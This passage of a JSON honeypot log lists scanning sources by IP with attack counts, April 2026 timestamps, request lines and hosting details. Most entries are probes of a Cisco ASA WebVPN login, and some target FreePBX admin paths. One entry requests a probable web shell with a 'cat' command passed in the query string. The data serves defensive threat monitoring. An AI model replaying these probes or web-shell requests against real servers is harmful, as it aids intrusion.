      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.46": {
      "attack_count": 6,
      "first_seen": "2026-04-28T06:31:36.583Z",
      "last_seen": "2026-04-29T17:20:52.492Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.211": {
      "attack_count": 6,
      "first_seen": "2026-04-21T20:40:06.413Z",
      "last_seen": "2026-04-30T01:49:47.019Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.168.243": {
      "attack_count": 6,
      "first_seen": "2026-04-08T11:04:29.277Z",
      "last_seen": "2026-04-24T09:52:30.079Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.171.115": {
      "attack_count": 6,
      "first_seen": "2026-04-13T09:17:01.810Z",
      "last_seen": "2026-04-18T18:50:30.700Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.19": {
      "attack_count": 6,
      "first_seen": "2026-04-08T15:42:24.834Z",
      "last_seen": "2026-04-19T07:17:07.008Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "212.38.189.186": {
      "attack_count": 6,
      "first_seen": "2026-04-24T09:04:14.583Z",
      "last_seen": "2026-04-24T09:04:25.990Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /recordings/index.php HTTP/1.1\" 404 -",
        "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
        "\"POST /admin/ajax.php?module=music HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 20860,
      "as_org": "Iomart Cloud Services Limited"
    },
    "23.162.40.61": {
      "attack_count": 6,
      "first_seen": "2026-04-08T18:38:23.498Z",
      "last_seen": "2026-04-21T19:17:50.011Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.104.185": {
      "attack_count": 6,
      "first_seen": "2026-04-21T20:23:09.331Z",
      "last_seen": "2026-04-28T04:14:07.227Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.227": {
      "attack_count": 6,
      "first_seen": "2026-04-08T12:34:26.456Z",
      "last_seen": "2026-04-22T09:43:19.536Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.197": {
      "attack_count": 6,
      "first_seen": "2026-04-21T11:59:34.795Z",
      "last_seen": "2026-04-21T12:12:10.207Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.187": {
      "attack_count": 6,
      "first_seen": "2026-04-13T09:44:37.229Z",
      "last_seen": "2026-04-27T17:58:40.997Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "43.225.189.152": {
      "attack_count": 6,
      "first_seen": "2026-04-15T10:51:08.040Z",
      "last_seen": "2026-04-25T05:53:58.611Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boston",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "45.228.8.33": {
      "attack_count": 6,
      "first_seen": "2026-04-12T02:49:33.168Z",
      "last_seen": "2026-04-23T20:00:40.235Z",
      "ports": [],
      "event_types": [
        "\"POST /admin/config.php HTTP/1.1\" 200 -",
        "\"GET /recordings/index.php HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serra",
      "asn": 267062,
      "as_org": "W-NET TELLECOM EIRELI ME"
    },
    "5.45.102.93": {
      "attack_count": 6,
      "first_seen": "2026-04-24T09:07:00.361Z",
      "last_seen": "2026-04-24T09:07:09.180Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
        "\"GET /admin/xml.php?ser HTTP/1.1\" 404 -",
        "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
        "\"GET /xml.php?vcd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH"
    },
    "66.132.172.136": {
      "attack_count": 6,
      "first_seen": "2026-04-07T23:54:05.663Z",
      "last_seen": "2026-04-07T23:56:57.467Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.172.42": {
      "attack_count": 6,
      "first_seen": "2026-04-25T04:32:12.251Z",
      "last_seen": "2026-04-25T04:32:28.988Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.186.159": {
      "attack_count": 6,
      "first_seen": "2026-04-18T01:56:07.139Z",
      "last_seen": "2026-04-18T01:56:58.444Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "79.127.222.198": {
      "attack_count": 6,
      "first_seen": "2026-04-08T13:03:55.859Z",
      "last_seen": "2026-04-28T06:31:39.038Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "107.20.126.125": {
      "attack_count": 4,
      "first_seen": "2026-04-08T00:53:22.251Z",
      "last_seen": "2026-04-27T00:57:53.190Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "3.151.241.153": {
      "attack_count": 4,
      "first_seen": "2026-04-10T17:50:40.478Z",
      "last_seen": "2026-04-23T16:30:16.407Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "103.102.247.157": {
      "attack_count": 3,
      "first_seen": "2026-04-29T19:24:22.504Z",
      "last_seen": "2026-04-29T19:24:35.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "173.249.254.71": {
      "attack_count": 3,
      "first_seen": "2026-04-21T07:41:26.379Z",
      "last_seen": "2026-04-21T07:41:36.501Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.141.119.135": {
      "attack_count": 3,
      "first_seen": "2026-04-28T07:27:49.519Z",
      "last_seen": "2026-04-28T07:28:00.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "194.187.178.129": {
      "attack_count": 3,
      "first_seen": "2026-04-04T19:35:01.691Z",
      "last_seen": "2026-04-04T19:35:04.917Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "58.229.188.59": {
      "attack_count": 3,
      "first_seen": "2026-04-15T03:35:00.479Z",
      "last_seen": "2026-04-27T15:30:03.336Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/config.php HTTP/1.0\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Koch'ang",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd"
    },
    "65.49.20.122": {
      "attack_count": 3,
      "first_seen": "2026-04-20T00:28:56.759Z",
      "last_seen": "2026-04-20T00:30:11.396Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "185.220.101.173": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:15:19.681Z",
      "last_seen": "2026-04-24T09:15:21.254Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "198.235.24.214": {
      "attack_count": 2,
      "first_seen": "2026-04-01T18:29:56.878Z",
      "last_seen": "2026-04-01T18:29:59.880Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "3.82.92.91": {
      "attack_count": 2,
      "first_seen": "2026-04-18T01:00:19.179Z",
      "last_seen": "2026-04-18T01:00:22.182Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.205.1.8": {
      "attack_count": 2,
      "first_seen": "2026-04-05T11:43:33.453Z",
      "last_seen": "2026-04-05T11:43:36.455Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd"
    },
    "64.62.197.235": {
      "attack_count": 2,
      "first_seen": "2026-04-25T05:38:03.437Z",
      "last_seen": "2026-04-25T05:38:27.767Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.20.112.120": {
      "attack_count": 2,
      "first_seen": "2026-04-02T10:50:20.013Z",
      "last_seen": "2026-04-02T12:00:48.628Z",
      "ports": [],
      "event_types": [
        "\"GET /?wsdl HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Sp\u00e5nga",
      "asn": 20473,
      "as_org": "The Constant Company, LLC"
    },
    "91.196.152.254": {
      "attack_count": 2,
      "first_seen": "2026-04-02T09:15:15.505Z",
      "last_seen": "2026-04-23T01:11:42.622Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "100.53.142.60": {
      "attack_count": 1,
      "first_seen": "2026-04-26T00:53:11.024Z",
      "last_seen": "2026-04-26T00:53:11.024Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "104.243.250.8": {
      "attack_count": 1,
      "first_seen": "2026-04-25T06:00:11.391Z",
      "last_seen": "2026-04-25T06:00:11.391Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "147.185.132.192": {
      "attack_count": 1,
      "first_seen": "2026-04-19T14:25:41.800Z",
      "last_seen": "2026-04-19T14:25:41.800Z",
      "ports": [],
      "event_types": [
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "184.105.139.125": {
      "attack_count": 1,
      "first_seen": "2026-04-11T10:07:18.355Z",
      "last_seen": "2026-04-11T10:07:18.355Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "198.235.24.200": {
      "attack_count": 1,
      "first_seen": "2026-04-05T15:48:11.344Z",
      "last_seen": "2026-04-05T15:48:11.344Z",
      "ports": [],
      "event_types": [
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "54.242.178.61": {
      "attack_count": 1,
      "first_seen": "2026-04-27T00:56:33.753Z",
      "last_seen": "2026-04-27T00:56:33.753Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "65.49.20.78": {
      "attack_count": 1,
      "first_seen": "2026-04-20T00:30:16.230Z",
      "last_seen": "2026-04-20T00:30:16.230Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "79.124.49.102": {
      "attack_count": 1,
      "first_seen": "2026-04-01T06:14:01.758Z",
      "last_seen": "2026-04-01T06:14:01.758Z",
      "ports": [],
      "event_types": [
        "\"GET /sslvpn_logon.shtml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 50360,
      "as_org": "Tamatiya EOOD"
    },
    "91.196.152.134": {
      "attack_count": 1,
      "first_seen": "2026-04-24T21:19:50.740Z",
      "last_seen": "2026-04-24T21:19:50.740Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.255": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:34:26.068Z",
      "last_seen": "2026-04-30T00:34:26.068Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.144": {
      "attack_count": 1,
      "first_seen": "2026-04-19T11:54:14.260Z",
      "last_seen": "2026-04-19T11:54:14.260Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.238": {
      "attack_count": 1,
      "first_seen": "2026-04-09T03:08:18.890Z",
      "last_seen": "2026-04-09T03:08:18.890Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.29": {
      "attack_count": 1,
      "first_seen": "2026-04-30T03:30:14.507Z",
      "last_seen": "2026-04-30T03:30:14.507Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.81.60.48": {
      "attack_count": 1,
      "first_seen": "2026-04-23T00:56:18.056Z",
      "last_seen": "2026-04-23T00:56:18.056Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "194.113.235.59": {
      "attack_count": 666,
      "first_seen": "2026-04-01T07:41:10.008Z",
      "last_seen": "2026-04-08T20:53:41.580Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "80.66.66.210": {
      "attack_count": 168,
      "first_seen": "2026-04-21T00:49:29.479Z",
      "last_seen": "2026-04-23T05:34:46.166Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 209702,
      "as_org": "Soldatov Alexey Valerevich"
    },
    "68.235.46.16": {
      "attack_count": 45,
      "first_seen": "2026-04-11T08:17:31.818Z",
      "last_seen": "2026-04-28T02:54:54.606Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "193.228.48.174": {
      "attack_count": 43,
      "first_seen": "2026-04-12T02:14:00.041Z",
      "last_seen": "2026-04-13T17:11:57.104Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.193.122": {
      "attack_count": 37,
      "first_seen": "2026-04-13T07:43:45.513Z",
      "last_seen": "2026-04-13T15:59:53.885Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.189.107": {
      "attack_count": 37,
      "first_seen": "2026-04-13T08:30:09.048Z",
      "last_seen": "2026-04-13T17:17:08.114Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.234.110.31": {
      "attack_count": 34,
      "first_seen": "2026-04-08T21:04:20.536Z",
      "last_seen": "2026-04-30T05:48:52.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.147": {
      "attack_count": 33,
      "first_seen": "2026-04-08T11:14:59.044Z",
      "last_seen": "2026-04-30T06:02:32.138Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "194.104.143.44": {
      "attack_count": 31,
      "first_seen": "2026-04-13T07:55:11.308Z",
      "last_seen": "2026-04-13T16:27:57.266Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Avon",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "195.69.161.102": {
      "attack_count": 31,
      "first_seen": "2026-04-12T01:56:55.433Z",
      "last_seen": "2026-04-13T11:44:34.711Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
